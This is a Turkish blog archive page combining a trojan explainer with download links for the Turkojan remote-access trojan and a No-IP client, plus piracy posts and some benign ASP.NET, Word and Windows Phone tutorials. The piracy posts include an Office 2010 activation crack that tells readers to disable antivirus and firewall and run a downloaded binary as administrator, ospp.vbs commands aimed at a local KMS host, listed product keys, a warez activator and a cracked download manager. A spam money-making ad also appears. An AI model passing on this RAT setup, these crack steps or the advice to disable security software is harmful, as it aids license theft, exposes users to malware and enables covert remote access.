31.05.2012

Trojen nedir??




Truva atının en basit örneği yüklendiğinde bedava ekran koruyucu vaad eden Waterfalls.scr isimli programdır. Çalıştırıldığında uzaktan bilgisayara giriş sağlayabilecektir.
Truva atı zararlı yükü (payload) çeşitli zararlar vermek için dizayn edilmiş olsa da zararsız da olabilir. Truva atları sistemde nasıl gedik açabildiğine ve nasıl tahribat yaptığına göre sınıflandırılır. 7 ana tür Truva atı zararlı yükü vardır
  • Uzaktan Erişim
  • E-posta Gönderme
  • Veri yıkımı
  • Proxy Truva(zararlı bulaşmış sistemi saklama)
  • Ftp Truva (zararlı bilgisayardan dosya ekleme ya da kopyalama)
  • Güvenlik yazılımını devre dışı bırakma
  • Hizmetin reddi servis saldırıları (Dos Saldırıları)
  • URL truva (zararlı bulaşmış bilgisayarı sadece pahali bir telefon hattı üzerinden intrernete bağlama)
Bazı örnekler;
  • Veriyi silme ya da üzerine yazma
  • Dosyaları zorla kriptoviral alıkoyma (cryptoviral extortion) ile şifreleme
  • Ustaca dosyalara zarar verme
  • Bilgisayar kamerasını açarak kullanıcının görüntüsünü kaydetme
  • Dosyaları internetten çekme veya internete aktarma
  • Kurbanın bilgisayarına uzaktan erişime izin verme. Buna RAT (Uzaktan yönetim aracı) denir.
  • Diğer zararlı yazılımıları üzerinde toplama. Bu noktada Truva atı dropper ve vector diye ikiye ayrılır.
  • DDoS saldırısı yapabilmek veya spam e-posta göndermek için zombi bilgisayar ağı kurma
  • Bilgisayar kullanıcısının alışkanlıklarını başka insanlara gizlice rapor etme kısacası casusluk
  • arkaplan resmi oluşturma
  • Klavye tuşlarını şifreleri ve kredi kartı numaraları gibi bilgileri çalabillmek için kaydetme(keylogging)
  • Suç aktivitelerinde kullanılabilecek banka ya da diğer hesap bilgileri için oltalama
  • Bilgisayar sistemine arka kapı yerleştirme
  • Optik sürücünün kapağını açıp kapama
  • Spam posta göndermek için e-posta adreslerini toplama
  • ilgili program kullanıldığında sistemi yeniden başlatma
  • Güvenlik duvarını veya anti-virüs programına müdahele etmek veya devre dışı bırakma
  • Diğer zararlı çeşitlerine müdahele etmek veya devredışı bırakmak




Şimdi de örenk olarak bir trojen programına baklılm


İLK ÖNCE PROGRAMLARIMIZI İNDİRELİM:
Turkojan 4[Samurai Linki]: http://uploaded.to/file/5q33pn
NO-İP PROGRAMI:http://www.no-ip.com/client/ducsetup.exe

Bu iki programı kullanıcaz resimli anlatıma başlıyorum.








Access ile Asp.net'te Üyelik Sistemi

Asp.net ile hazırlamış olduğumuz sitelerimizde kullanabileceğimiz üyelik sisteminin access veritabanı kullanılarak hazırlanmış versiyonu. Bunu daha önce sql server ile kullanıyorduk. Ancak sql server kullanınca hem boyutu büyük oluyor hem de her yerde sql server desteği olmuyordu. Bunu düşünen Microsoft bu sistemi access veritabanı ile hazırlamış. 
Peki bunu projemizde nasıl kullanacağız?
Sql server ile hazırlanmış üyelik sistemini nasıl kullanıyorsak aynı adımlar bunun içinde geçerli. 

Yandaki gibi projemize gereken dosyaları ekliyoruz. Bunlar hazır olarak gelen ASPNet.mdb veritabanı, Bin klasörü içindeki dll dosyamız ve bu sistemde kullanılan veritabanı bağlantıları sağlayan ve ayarları tutan web.config dosyası. Web config dosyası olarak bunu kullanıp, üzerine gereken eklemeleri kendimiz yapabiliyoruz. Web.config de sadece fazla olarak bu sistemin ayar kodları var. 





Projemizi yukarıda ki gibi hazırladıktan sonra Website sekmesiden ASP.Net Configuration Sekmesini seçip açılan ekranda Provider sekmesi seçip kullanacağımız Access Provider`ı seçeceğiz.

Önce yukarıda ki gibi gelen ekrandan alttaki sekmeyi seçiyoruz.


                                                      Daha sonra yukarıda ki gibi AccessRoleProvider sekmesini işaretliyoruz. 
Artık üyelik si,stemiz hazır hale geldi ve projemizde kullanmaya başlayabiiriz. Kullanıcı ekleme, rolleri yönetme işlemlerini yapabiliriz. Bunu içinde Security sekmesini seçip oradan bu işlemleri gerçekleştirebiliriz. Aşağıdaki gibi.

Projemize böylece sistemi entegre ettik. Bundan sonra bir sorun olmadan kullanabiliriz.
Projede kullanacağımız AccessProvider.dll, veritabanı ve web.config dosyasına buradanulaşabilirsiniz.
Kolay Gelsin. İyi Çalışmalar!

sql tablolarını başka bir veri tabanına aktarma ve silme


 string baglantim1 = WebConfigurationManager.ConnectionStrings["baglan"].ToString();
           string baglantim = WebConfigurationManager.ConnectionStrings["gecici"].ToString();
           OleDbConnection baglanti1 = new OleDbConnection(baglantim1);
           baglan();
           baglanti1.Open();
           baglanti.Open();
           string yol = "../App_Data/gecici.mdb";
           string yol2 = WebConfigurationManager.ConnectionStrings["gecici"].ToString();

          /* komut = new OleDbCommand("select * into oran in 'd:\\webler\\akademik\\fbe\\App_Data\\gecici.mdb' from oran", baglanti1);
           try
           {
               komut.ExecuteNonQuery();
           }
           catch
           {

               OleDbCommand komutsil = new OleDbCommand("drop table oran", baglanti);
               komutsil.ExecuteNonQuery();
               komutsil.Dispose();
               komut.ExecuteNonQuery();
           }
           komut.Dispose();
           komut = new OleDbCommand("select * into bolumler in 'd:\\webler\\akademik\\fbe\\App_Data\\gecici.mdb' from bolumler", baglanti1);
           try
           {
               komut.ExecuteNonQuery();
           }
           catch
           {
               OleDbCommand komutsil = new OleDbCommand("drop table bolumler", baglanti);
               komutsil.ExecuteNonQuery();
               komutsil.Dispose();
               komut.ExecuteNonQuery();
           }
           komut.Dispose();
           komut = new OleDbCommand("select * into tercihler in 'd:\\webler\\akademik\\fbe\\App_Data\\gecici.mdb' from tercihler", baglanti1);
            try
            {
                komut.ExecuteNonQuery();
            }
            catch
            {
                OleDbCommand komutsil = new OleDbCommand("drop table tercihler",baglanti);
                komutsil.ExecuteNonQuery();
                komutsil.Dispose();
                komut.ExecuteNonQuery();
            }
            komut.Dispose();
            komut = new OleDbCommand("select * into g_ogr_bilgi in 'd:\\webler\\akademik\\fbe\\App_Data\\gecici.mdb' from g_ogr_bilgi", baglanti1);
            try
            {
                komut.ExecuteNonQuery();
            }
            catch
            {
                OleDbCommand komutsil = new OleDbCommand("drop table g_ogr_bilgi", baglanti);
                komutsil.ExecuteNonQuery();
                komutsil.Dispose();
                komut.ExecuteNonQuery();
            }
            komut.Dispose();
            komut = new OleDbCommand("select * into g_ogr_cuzdan in 'd:\\webler\\akademik\\fbe\\App_Data\\gecici.mdb' from g_ogr_cuzdan", baglanti1);
            try
            {
                komut.ExecuteNonQuery();
            }
            catch
            {
                OleDbCommand komutsil = new OleDbCommand("drop table g_ogr_cuzdan", baglanti);
                komutsil.ExecuteNonQuery();
                komutsil.Dispose();
                komut.ExecuteNonQuery();
            }
            komut.Dispose();*/

26.05.2012

Tez için office 2010 sayfa numaralandırma


Bir word dökümanında sayfaları numaralandırmak istediğimizde Ekle –> Sayfa Numarasıyolunu izleyerek bu işlemi gerçekleştirebiliriz. Bu durumda numaralandırma dökümanın 1. sayfasından başlar ve devam eder.
Ancak bazı durumlarda numaralandırmayı ilk sayfadan değil de, sonraki bir sayfadan başlatmak isteyebiliriz. Böyle bir durumda yukarıdaki yöntemden farklı bir yol izlememiz gerekir.
Sayfa numaralandırmaya 4. sayfadan başlamak istediğimizi varsayalım. Bunun için aşağıdaki adımları izleriz:
1. 4. sayfanın başına gideriz.
2. 4. sayfanın başında iken üst menüden Sayfa Düzeni –> Kesmeler yolunu izler ve Sonraki Sayfa işaretine tıklarız. Görünüşte herhangi bir değişiklik olmayacaktır.
3. Daha sonra yine üst menüden Ekle –> Üstbilgi (Altbilgi de olabilir, farketmez) –> Üstbilgiyi Düzenle yolunu izleriz.
4. Üstbilgiyi Düzenle seçeneğini tıkladığımızda üst menüde Üstbilgi ve Altbilgi araçları altında Tasarım sekmesi açılacaktır.
Burada aşağıdaki şekilde görüldüğü gibi ” Öncekine Bağla “ seçeneği seçili durumda olacaktır.
” Öncekine Bağla “ yazısının üzerinde bir kez tıklayara bu seçimi kaldırıyoruz.
5. Daha sonra Ekle –> Sayfa Numarası –> Sayfa Numaralarını Biçimlendiryolu ile Sayfa Numarası Biçimi penceresini açıyoruz. Burada Başlangıçbutonunu işaretliyoruz ve 1 değerini giriyoruz.

6. Son adım olarak yine Ekle –> Sayfa Numarası yolu ile istediğimiz numaralandırma biçimini seçiyoruz.
Böylece 4. sayfamızın sol üst köşesine ” 1 ” numarası yerleşecektir. Ve numaralandırma işlemi bu sayfadan başlamış olacaktır.

25.05.2012

Office 2010 Key Serial - Office 2010 Orjinal Yapmak

Öncelikle Office 2010 u orjinal yapacak olan programı aşadaki adresden indiriyoruz.
http://uploaded.to/file/sau6ket9
rar şifresi : www.resimliprogram.org
LİNK YENİLENMİŞTİR HAYIRLI OLSUN
1.Antivirüs ve firewall Programlarınızı kapatın Aksi taktirde çalışmaz.
2.İndirdiğiniz dosyaya sağ tıklayarak admin olarak çalıştır (run as administrator) deyin. Eğer karşınıza bi uyarı kutusu çıkarsa Ok deyin. Sonra aşağıdaki komut ekranını göreceksiniz. Ekranı açık vaziyette bırakın. Bir sonraki adıma geçin.
==============================
office 2010 orjinal yapma
==============================
3.Windows 7 kullandığınızı varsayarak; Başlat butonuna basın karşınıza çıkan arama kutusuna “cmd.exe” yazın.Ctrl + Shift + Enter tuşlarına basın bu size administrator olarak komut çalıştırmanızı sağlayacak.Not:Vista için; başlat’a bastıktan sonra  çalıştıra (run) tıklayın “cmd yazın”. “Ctrl + Shift + Enter” tuşlarına basın)
==============================
office 2010 keygen
==============================
4. Sonra komutları çalıştıracağımız ekran karşımıza gelecek. Aşağıdaki komutları aynen yazıyoruz.
cscript “%PROGRAMFILES%Microsoft OfficeOffice14ospp.vbs” /sethst:127.0.0.1
5.Enter’a basın ‘Successfully applied setting‘ mesajını göreceksiniz.
6. Sonra aşağıdaki komutu aynen yazıyoruz
cscript “%PROGRAMFILES%Microsoft OfficeOffice14ospp.vbs” /act
7. Enter’a basın ‘Product activation successfully‘ mesajını göreceksiniz
8. Aşağıda yazmış olduğumuz kodlar (altı kırmızı ile çizili) ve sonuçları görünmekte.
==============================
office 2010 orjinalleştirme.
==============================
9.İlk seferde başarısız olursanız tekrar deneyin.Her 6 ayda bir active etmeniz gerekiyor.
10. Office 2010′un orjinal olup olmadığını kontrol etmek için herhangi bi office belgesi açıyoruz örneğin word belgesi sonra Dosya’ya (File) tıklıyoruz sonra Yardım (Help) tıklıyoruz. Aşağıdaki resimdeki gibi product activated yazması gerekiyor.
==============================

  orjinal olmuştur hayırlı olsun:)

Microsoft Office Professional Plus 2010 Beta Product Key

PYMDW-8DFY2-Y68BB-XHDGD-CT443

2PWHY-KT4X6-96PYW-XQR7V-HW2W9

YF79C-7Y4B4-PGM89-6BKGJ-46PBT 

24.05.2012

Office 2010 Toolkit and EZ-Activator 2.2.3



Office 2010 Toolkit and EZ-Activator 2.2.3

Office 2010 Toolkit and EZ-Activator 2.2.3


Bu program aracılığı ile office 2010 sürümleri full olarak kullanabilirsiniz.


Programı açınca karşınıza gelicek olan ekran budur, bir nevi office kurulumu değilmi v.s bilgilere bakabilceğiniz alandır
Office 2010 Toolkit and EZ-Activator 2.2.3



Activation Menüsü - Burada ise programı full edebilceğiniz aktivasyon çeşitleri bulunur listeden birini seçip alt kısımdan install ile işlemi yapabilirsiniz
Office 2010 Toolkit and EZ-Activator 2.2.3



License Files Menüsü - Lisans dosyaları oluşturabilceğiniz menüdür, burada dikkat etmeniz gereken ürün modeli nedir? VL mi Retailmi buda zaten genel olarak yazılır, alt kısımdada ürün türünü seçmeniz gerekir eğer office profesional plus kurmak istiyorsanız listeden sadece onu seçmeniz yeterli
Office 2010 Toolkit and EZ-Activator 2.2.3



Product Keys - Bu menüden serial üretebilirsiniz, üst kısımdan ürün tipini seçin alt kısımdanda paketi seçin checke tıklayın seriali siyah ekranda vericek sağda solda serial aramayın ürettiği serialler sorunsuz çalışır, kurulumda serial sorar bu şekilde seriali üretip programı kurun sonra 2. pencereden olan işlemler ile aktivasyonu yapın
Office 2010 Toolkit and EZ-Activator 2.2.3



License Backup Menüsü - Bu menüden var olan lisansınızı yedekleyebilirsiniz
Office 2010 Toolkit and EZ-Activator 2.2.3



Customize Setup Menüsü - Bu menüden güncellemeleri ekleyebilir, programı silebilir v.b işlemleri yapabilirsiniz.
Office 2010 Toolkit and EZ-Activator 2.2.3



Günümüz itibarı ile piyasada bulunan en sağlam ve temiz office 2010 fulleme programıdır. Vista yada 7 kullanıyorsanız programı yönetici olarak çalıştırmayı unutmayın. Evet bizden bukadar olup






Office 2010 Toolkit and EZ-Activator 2.2.3

Letitbit | Turbobit | Depositfiles

Rar Şifre : www.warezturkey.net

Artık İnternetten para Kazanması Çok kolay


İnternetten artık para kazanmak çok kolay. Eğer sende evde, ofiste sokakta bilgisayar başında para kazanmak istiyorsan bu siteye hemen üye olmalısın. Ben kullanıyorum ve çok memnunum sen de hadi bize katıl ve sende para kazanmaya başla. bir çok insan iş aramaktansa bu gibi iş olanaklarıyla bir iş adamının ve ya milletvekilinin alabileceği paraları alabiliyorlar. Aylık 5000 10000 ve daha fazlasını kazanmak istiyor musun? siten varsa eğer reklamları sitende paylaş ve tıklama başına para kazan. Reklam gelirlerin binleri bulsun.

hadi bu linkten üye ol ve sende para kazanmaya başla: Hemen Üye ol


Windows 7 için Movie Maker 2.6 Türkçe

Windows 7 için Movie Maker 2.6 Türkçe




hem Video, hem Resim, hem Ses ve Müziklerinizi düzenleyen harika bir program. 
Aslında bunu hepiniz biliyorsunuz ancak Windows 7 için hazırlanan Windows Live Movie Maker'da Sesve Müzikleri düzenleme yetkisi maalesef yoktu, bende Vista içinde gelen Windows Movie Maker 2.6'yı,Windows 7'li bilgisayarıma kurdum ve sonuç aldım herkes bilsin ve de kursun diye linkini veriyorum.
Sayfanın en altındaki MM26_TR.msi Yükle yazan yere tıklayın ve indirin. 

http://www.microsoft.com/downloads/d...displaylang=tr

Internet Download Manager v6.11 Build 7 Türkçe Full


Internet Download Manager v6.11 Build 7 Türkçe Full
Internet Download Manager v6.11 Build 7 Türkçe Full

Internet Download Manager dosya indirme hızını arttırarak size zaman kazandıran, yarıda kalan indirme işlemlerinize kaldıkları yerden devam etmenize olanak sağlayan, bünyesinde zamanlama özelliği barındıran ve indirilecek her türlü dosyayı yönetme olanağı sunan bir dosya indirme yöneticisidir.

Bu program ile bağlantınızın kesilmesi sonucunda yarıda kalan download işlemlerinize kaldığı yerden devam edebilir, dosyaları hızlı bir şekilde indirebilir ve ne zaman indirileceğini ayarlayabilirsiniz. Profesyonel bir indirme yöneticisi olan Internet Download Manager FTP, HTTP, HTTPS ve SHTTP protokollerine, proxy sunucularına, güvenlik duvarlarına (firewall), çerezlere (cookie), MP3 ses dosyalarına ve MPEG video içeriklerine destek barındırıyor.

Opera, Internet Explorer, Firefox ve diğer tüm popüler tarayıcılara entegre olabilen yazılım sorunsuz bir şekilde çalışabiliyor.
Popülerleşen video sitelerinden direkt olarak içerik indirebildiğiniz Internet Download Manager sade ve basit arayüzü ile her türden kullanıcıya hitap ediyor. Birçok alternatif ve ücretsiz dosya indirme yöneticisine ücretli ve profesyonel bir çözüm programı olarak rakip durumunda bulunan yazılım.

Yazılımın Genel Özellikleri:
# Microsoft Internet Explorer, Netscape, MSN Explorer, AOL, Opera, Mozilla, Mozilla Firefox, Mozilla Firebird, Avant Browser, MyIE2 ve diğer tüm tarayıcılarla sorunsuz çalışabilme
# Desteklediği tarayıcılarda bir linki tek tıklama ile indirme
# Hızlı inirme (üretici, Internet Download Manager'in DAP ve Getright programlarından daha hızlı indirme yaptığını iddia ediyor.)
# İndirmeyi durdurup, kaldığı yerden devam ettirebilme
# İndirme zamanını belirleme
# Tamamlanan dosyalar için otomatik virüs denetimi
# Özelleştirilebilir arayüz
# Hızlı güncelleme
# Sürükle-Bırak desteği
# İsteğe göre 1-2-4-8 ve 16 kanaldan indirme yapabilme
# ZIP önizleme
# FTP, HTTP, HTTPS ve SHTTP protokollerini destekleme
# Olaylarda ses çıkartabilme
# Komut dizisi kullanabilme

Bu Sürümün Yenilikleri:
# Opera ile videolar yakalanabiliyor
# Google chrome desteği gelmiş
# Bir çok hata düzelmesi yapılmış
Internet Download Manager v6.11 Build 7 Türkçe Full

Windows Phone 7 de Touch-Multi-Touch Inputs


Teknolojik bir gelişme ya da buluş, bereberinde çok farklı alanların da gelişmesinin tetikleyicisi olmuştur. Bu gelişme, özellikle insan duyu organları ile daha çok hissedilebilir türden bir gelişme ise son kullanıcılar tarafından yaygınlaşması ve popüleritesi de o oranda çok olmaktadır. Son yıllarda touch screen (dokunmatik ekran) ya da özellikle multi-touch screen 'in (çoklu-dokunmatik ekran) gelişmesi ile birlikte telefon dünyasına da bu özelliklerin hızla girdiğini ve bu tür özellikleri destekleyen uygulamaların da gün geçtikçe çoğaldığını gözlemlemekteyiz. Bu makalemizde bir Windows Phone 7 uygulaması ile touch ve multi-touch ekran özelliklerini incelemeye çalışacağız. Öncelikle hangi tür touch ve multi-touch özelliklerin kullanıldığına göz atalım. (Bu özelliklere literatürde geçtiği gibi Gestures (el hareketleri) olarak adlandıracağız.)
Tap Gesture
Kullanıcının ekrana dokunması ve hemen elini çekmesiyle elde edilir. Ekran üzerindeki pek çok kontrol bu event ile çalışmaktadır. Mouse ile sıkça kullandığımız click event'ıyla aynı özelliktedir. Kullanıcı tarafından bilinen en temel dokunma türüdür.
Double-Tap Gesture
Çok kısa bir zaman dilimi içerisinde Tap gesture'ın tekrar etmesi ile elde edilen harekettir. Çoğu zaman bu gesture da kullanılmaktadır. Ard arda hızlıca iki kez dokunma da diyebiliriz. 2 dokuma arası yaklaşık olarak 1sn veya daha az bir süre olmalıdır.
Pan Gesture
Ekrana parmağımızı koyup parmağın hareket ettirilmesi ile sağlanan harekettir. Örneğin bir resmin touch screen üzerindeki hareketi/yer değiştirmesi bu event'ın yakalanması ile sağlanabilir. Ya da windows phone giriş ekranında bulunan bir tile, öncelikle seçilir daha sonra da pan gesture ile yeri değiştirilebilir. Desktop uygulamalarında mouse ile kullandığımız Drag and Drop ile benzer işlevdedirler.
Flick Gesture
Parmağımızı touch-screen üzerinde belirli bir yönde hızlıca hareket ettirerek elde edilen harekettir. Örneğin bir Windows Phone list kontrol üzerinde parmağımızı aşağı veya yukarı yönde hareket ettirdiğimizde list box item'ların da o yönde hareket ettiğini hatta parmağımızı çektiğimizde bir süre daha list box item'ların o yönde hareket ettiğini görebiliriz.
Tap and Hold Gesture
Kullanıcı ekrana dokunur, aynı noktada belirli bir süre parmağını bekletir, bir süre sonra bir context menünü açılır. Windows Mobile işletim sistemli cihazlardan da anımsayacağımız gibi bu event mouse sağ click event'ı elde etmek için kullanılır.
Multi-Touch Gesture (Pinch and Stretch)
Kullanıcının ekranın birden fazla yerine aynı anda dokunarak elde ettiği harekettir. Örneğin yaygın olarak kullanımı bir içeriği veya resmi zoom-in veya zoom-out yapmak için kullanılır.
Windows Phone 7 Developer Tools ile Gestures yakalayabilmenin oldukça kolay olduğunu birazdan örnek kodlarla inceleyeceğiz. Şimdi örneklerle en temel gesture'dan başlayarak incelemeye başlayalım.
Tap Gesture Örneği
Windows Phone Developer Tools ile birlikte gelen component'lerin tümünde click event'ı yer almadığı için bu örneğimizde click event'ı olmayan bir component üzerinden kendi TapEvent'ımızı oluşturacağız. Tabiki bu component için mouse-down ve mouse-up gibi eventlardan faydalanacağız. İlk örneğimizi geliştirmeye başlayalım. Şimdi Visual Studio / File / New Project / Silverlight for Windows Phone / Windows Phone Application seçerek phone projemizi oluşturalım. Default olarak gelen MainPage.xaml içeriğini aşağıdaki gibi oluşturalım. Örnek nesne olarak bir button ve bir de border nesnelerini kullanacağız.
Button nesnesi kendi içerisinde click event'a sahip durumda fakat border için custom bir sınıf oluşturacağız. Bu sınıfı daha sonra yalnızca border nesnesi ile değil dilediğimiz kontrol'e bir Behavior olarak ekleyebilir olacağız.
Sınıfımızı TapAction olarak isimlendirelim ve base sınıf olarak Behavior jenerik sınıfından türetelim. Jenerik tip olarak tabiki UIElement kullanacağız.
Dikkat etmemiz gereken önemli bir nokta da Behavior base sınıfını kullanabilmek için referans olarak eklememiz gereken System.Windows.Interactivity.dll dir.
C#
public class TapAction : Behavior<UIElement>
{
    public event EventHandler Tap;
    protected bool MouseDown { getset; }
 
    protected override void OnAttached()
    {
        base.OnAttached();
        this.AssociatedObject.MouseLeftButtonDown +=AssociatedObject_MouseLeftButtonDown;
        this.AssociatedObject.MouseLeftButtonUp += AssociatedObject_MouseLeftButtonUp;
    }
 
    protected override void OnDetaching()
    {
        this.AssociatedObject.MouseLeftButtonDown -= AssociatedObject_MouseLeftButtonDown;
        this.AssociatedObject.MouseLeftButtonUp -= AssociatedObject_MouseLeftButtonUp;
        base.OnDetaching();
    }
 
    private void AssociatedObject_MouseLeftButtonUp(object sender, MouseButtonEventArgs e)
    {
        MouseDown = true;
    }

    private void AssociatedObject_MouseLeftButtonDown(object sender, MouseButtonEventArgs e)
    {
        if (MouseDown)
        {
            OnTap();
        }
        MouseDown = false;
    }
 
    protected virtual void OnTap()
    {
        if (Tap != null)
        {
            Tap(this.AssociatedObject, EventArgs.Empty);
        }
    }
}
Yukarıdaki kod satırlarını inceleyecek olursak base sınıfımızın OnAttached methodunu override ederek mouse-down ve mouse-up event handler'larını ekliyoruz. Tap isimli event'ımız da mouse-down olduğunda tetiklenecektir. TapAction sınıfımızı oluşturduktan sonra MainPage.xaml içerisine nesnelerimizi ve ilişkili olacakları behavior tanımlamalarını ekleyelim.
XAML
<Grid x:Name="ContentPanel" Grid.Row="1" Margin="12,0,12,0">
        <Border x:Name="border_1" 
          BorderBrush="#FFF5C013" BorderThickness="10" 
          HorizontalAlignment="Left" VerticalAlignment="Top"
          Margin="39,42,0,0" Height="111" Width="142">
                <i:Interaction.Behaviors>
                   <local:TapAction x:Name="myTapAction" Tap="myTapAction_Tap"/>
                </i:Interaction.Behaviors>
        </Border>
        <Button Name="button_1" 
                    Content="Button" 
                    Height="72" 
                    HorizontalAlignment="Left" 
                    Margin="235,63,0,0"  VerticalAlignment="Top" Width="160" Click="button_1_Click" />
        </Grid>
Yukarıdaki xaml kodlarına dikkat edecek olursak button nesnesinin Click event'ı Border nesnesinin ise kodsal olarak oluşturduğumuz Tap event'ı kullanılacak. TapAction behavior'ı da Expression Blend tarafına geçerek de ekleyebiliriz.
MainPage.cs içerisinde myTapAction_Tap ve button_1_Click event handler içerisine örnek messagebox görüntüleyecek kod satırlarımızı da ekledikten sonra F5 ile uygulamamızı çalıştırarak sonuçlara birlikte göz atabiliriz.
C#
public partial class MainPage : PhoneApplicationPage
{
    public MainPage()
    {
        InitializeComponent();
    }
    private void button_1_Click(object sender, RoutedEventArgs e)
    {
        MessageBox.Show("Tap Event Button üzerinden gerçekleşti.");
    }
 
    private void myTapAction_Tap(object sender, EventArgs e)
    {
        MessageBox.Show("Tap Event Border üzerinden gerçekleşti.");
    }
}
Double-Tap Gesture Örneği
Yukarıda kullandığımız örneğe benzer şekilde DoubleTapAction sınıfını da TapAction sınıfından miras alarak kolaylıkla yazabiliriz. Double-Tap Action yazarken 2 Tap arasında geçen kısa zaman dilimi (1 sn) kontrol edilerek geliştirilmelidir. 2 tap arasındaki sürenin 1 sn olduğunu kontrol edebilmek için öncelikle 1. Tap Action gerçekleştiğinde ne zaman gerçekleştiğini bir değişken de tutarak eğer yeni bir Tap Action gerçekleşir ise değişken de tutuğumuz zaman ile karşılaştırıp 1sn'den küçük ise DoubleTap event'ı oluşturabiliriz.
C#
public class DoubleTapAction : TapAction
{
    public event EventHandler DoubleTapEvent;
    protected DateTime? FirstTapTimeValue { getset; }
    public int DoubleTapTimeoutInMilliseconds
    {
        get { return (int)GetValue(DoubleTapTimeoutInMillisecondsProperty); }
        set { SetValue(DoubleTapTimeoutInMillisecondsProperty, value); }
    }
    public static readonly DependencyProperty
    DoubleTapTimeoutInMillisecondsProperty = DependencyProperty.Register("DoubleTapTimeoutInMilliseconds"typeof(int),typeof(DoubleTapAction),new PropertyMetadata(1000));
    protected override void OnTap()
    {
        base.OnTap();
        if (FirstTapTimeValue.HasValue && 
FirstTapTimeValue.Value.AddMilliseconds(DoubleTapTimeoutInMilliseconds) > DateTime.Now)
        {
            OnDoubleTap();
            FirstTapTimeValue = null;
        }
        else
        {
            FirstTapTimeValue = DateTime.Now;
        }
    }
    protected virtual void OnDoubleTap()
    {
        if (DoubleTapEvent != null)
        {
            DoubleTapEvent(this.AssociatedObject, EventArgs.Empty);
        }
    }
}
Pan, Flick, TouchAndHold Gestures Örnekleri (Silverlight for Windows Phone Toolkit ile)
Şimdiye kadar örneklendirdiğimiz Tap ve DoubleTap'den farklı olarak PanFlick ve Hold Gesture' ları yakalayabilmek içim daha fazla kod ve sınıf eklemeden Silververlight for Windows Phone Toolkit' den faydalanacağız. Bu Toolkit indirilip kurulduktan sonra Gestures ile ilgili örnek kaynak kodlara da erişilebilir. İlgili Toolkit'i indirmek için http://silverlight.codeplex.com/ adresinden download silverlight on WP7 tıklanarak erişilebilir.
Silverlight on Windows Phone Toolkit kurulumu tamamlandıktan sonra projemize ilgili dll referansını da eklemeyi unutmayalım.
XAML
xmlns:toolkit="clr-namespace:Microsoft.Phone.Controls;assembly=Microsoft.Phone.Controls.Toolkit"
XML namespace bölümüne yukarıdaki xaml kod satırında olduğu gibi toolkit olarak isimlendirdiğimiz namespace'i ekliyoruz. Toolkit Controls altında bulunan GestureListener isimli sınıfdan faydalanacağız.
Şimdi MainPage.xaml içerisine bir Canvas kontrol ekleyerek PanFlick ve Hold event' ları yakalamaya çalışalım.
XAML
<Canvas Background="Aqua"
        Height="124" 
        HorizontalAlignment="Left" 
        Margin="76,256,0,0" 
        Name="canvas1" 
        VerticalAlignment="Top" 
        Width="218">
    <toolkit:GestureService.GestureListener>
        <toolkit:GestureListener DragDelta="GestureListener_DragDelta"
                                 Flick="GestureListener_Flick"
                                 Hold="GestureListener_Hold" 
                                  />
    </toolkit:GestureService.GestureListener>
</Canvas>
C#
private void GestureListener_DragDelta(object sender, DragDeltaGestureEventArgs e)
{
    double horizontalChange = e.HorizontalChange;
    canvas1.Margin = new Thickness(canvas1.Margin.Left + horizontalChange, 
canvas1.Margin.Top, canvas1.Margin.Right, canvas1.Margin.Bottom);
}
 
private void GestureListener_Hold(object sender, GestureEventArgs e)
{
    resultText.Text = "Hold: Canvas üzerinde bir süre basılı tutuldu.";
}
 
private void GestureListener_Flick(object sender, FlickGestureEventArgs e)
{
    resultText.Text = string.Format("{0} Flick: Angle {1} Velocity {2},{3}",
        e.Direction, Math.Round(e.Angle), e.HorizontalVelocity, e.VerticalVelocity);
}
Uygulamamızı F5 ile çalıştırarak sonucu emulatör üzerinden mouse yardımıyla izleyelim. Öncelikle Hold hareket için, Aqua renk olan Canvas kontrol üzerinde mouse pointer'ı bir süre basıl tutalım, ardından tekrar mouse yardımıyla Flick hareketleri yakalayacağız. Bu iki denemeden sonra DragDelta içindeki kod satırlarının çalışması için Pan hareket ile canvas1 isimli Canvas nesnemizi yatay eksende hareket ettireceğiz.
Yukarıdaki resimlerde de görüleceği üzere en son yaptığımız Pan hareketle canvas nesnesinin yerini yatayda soldan sağa doğru kaydırdık fakat aynı zamanda Pan hareketinin sonlanması ile birlike Horizantal Flick hareketinde oluştuğunu gözlemleyebiliriz. Buradan şu sonucu çıkarabiliriz: 2 tür Flick hareket vardır. Bunlardan ilki Pan hareketin sonunda otomatik olarak oluşan Flick, diğeride kendimizin bilinçli olarak oluşturduğu Flick hareketi.
Multi-Touch Gestures Örnekleri
Windows Phone 7 cihazımız var ise Pinch hareket başladığında, hareket halindeyken ve hareket sonlandığında hız, açı ve x,y pozisyonu değerlerini elde etmek oldukça kolay olacaktır. Multi-touch özelliği Windows Phone Emulatör üzerinden de simule etme şansımız var. Simulasyon için öncelikle bilgisayarımızın işletim sisteminin Windows 7 olması gerekiyor. Ekranınız multi-touch özellikte ise ayrıca yeni bir yapılandırmaya gerek kalmadan emulatör üzerinden deneyebilirsiniz. Eğer ekranınız multi-touch özelliğe sahip değilse de bilgisayarınızın diğer usb girişine de mouse takarak multi-touch simulasyonu gerçekleştirme şansımız olacak.
Bu simulasyon için öncelikle codeplex.com adresinden Multi-Touch Vista projesini download etmemiz gerekiyor. Sitenin ana sayfasındaki örnek video ile kurulum adımlarını inceleyebilirsiniz.
Multi-Touch Vista http://multitouchvista.codeplex.com/ adresinden ulaşılabilir.
www.yazgelistir.com alıntıdır.